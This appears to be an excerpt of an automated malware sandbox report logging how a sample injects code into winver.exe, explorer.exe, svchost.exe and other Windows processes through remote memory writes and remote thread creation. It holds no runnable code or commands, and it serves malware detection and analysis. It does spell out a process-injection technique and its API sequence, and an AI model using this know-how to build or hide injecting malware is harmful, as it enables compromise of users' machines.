Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2DC0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2AE0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2130000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 720000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 23D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2B40000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 26C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2100000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2510000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: FE0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 1170000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: E70000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2610000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 5E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: F70000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 550000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: FE0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 910000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 24C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 1490000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 1380000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 1310000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 720000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 6B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2530000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 5E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 22F0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2ED0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 8F0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 1050000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 5E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 980000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 990000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2900000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 1510000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: A40000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: A90000 protect: page execute and read and write	Jump to behavior

Contains functionality to inject threads in other processes

Source: C:\Windows\SysWOW64\winver.exe	Code function: 2_2_02F00DE0 VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,		2_2_02F00DE0
Source: C:\Windows\explorer.exe	Code function: 3_2_013A1F8D VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,		3_2_013A1F8D

Creates a thread in another existing process (thread injection)

Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\explorer.exe EIP: 13A08B3	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\sihost.exe EIP: AC090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 91090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 9A090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\ctfmon.exe EIP: A5090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\explorer.exe EIP: 138090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\svchost.exe EIP: D4090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe EIP: B5090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: 11090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe EIP: A9090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: AB090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\smartscreen.exe EIP: 29090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe EIP: 58090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: 3D090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: 90090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\ApplicationFrameHost.exe EIP: 18090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe EIP: A1090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: 19090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\ImmersiveControlPanel\SystemSettings.exe EIP: F1090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\oobe\UserOOBEBroker.exe EIP: 1090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 22090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\dllhost.exe EIP: 6E090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\conhost.exe EIP: E6090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: 94090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\backgroundTaskHost.exe EIP: 40090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: B0090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe EIP: 286090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe EIP: 2BB090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe EIP: 256090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe EIP: 261090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe EIP: 252090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe EIP: 2B2090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe EIP: 145090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe EIP: 262090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe EIP: EE090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe EIP: 2D3090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: E4090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 92090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: E4090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 23C090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 10B090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 279090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: A5090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 251090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: CE090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 64090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 8E090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 104090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: F9090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: A9090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 235090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 29B090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 119090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 27F090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 2EF090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 28D090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: B9090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 2B7090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 2BD090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 117090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 94090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 6E090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 14D090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 2A3090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 5E090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 296090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 301090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 256090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 13C090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 13B090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 25F090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 2EF090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 5D090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 55090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: A1090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: BD090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 55090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 2C3090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 25F090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 91090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 94090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 2C9090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 2DA090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 8D090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 2DC090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 2AE090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 213090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 72090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 23D090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 2B4090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 26C090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 210090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 251090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: FE090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 117090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: E7090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 261090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 5E090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: F7090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 55090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: FE090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 91090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 24C090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 149090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 138090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 131090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 72090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 6B090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 253090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 5E090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 22F090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 2ED090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 8F090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 105090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 5E090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 98090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 99090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 290090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: 151090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: A4090B	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Thread created: unknown EIP: A9090B	Jump to behavior
Source: C:\Windows\explorer.exe	Thread created: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe EIP: 1C090B	Jump to behavior
Source: C:\Windows\explorer.exe	Thread created: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe EIP: 1C090B	Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\SysWOW64\winver.exe	Memory written: PID: 2580 base: 13A0000 value: 50			Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: PID: 2580 base: 1380000 value: 50			Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\java.exe	Memory written: C:\Windows\SysWOW64\winver.exe base: 4418B0	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\explorer.exe base: 13A0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\sihost.exe base: AC0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\svchost.exe base: 910000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\svchost.exe base: 9A0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\ctfmon.exe base: A50000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\explorer.exe base: 1380000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\svchost.exe base: D40000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: B50000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 110000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: A90000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: AB0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 290000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 580000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 3D0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 900000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 180000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: A10000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 190000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: F10000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 10000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\svchost.exe base: 220000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\dllhost.exe base: 6E0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\conhost.exe base: E60000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 940000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\backgroundTaskHost.exe base: 400000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: B00000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2860000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2BB0000	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory written: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2560000	Jump to behavior
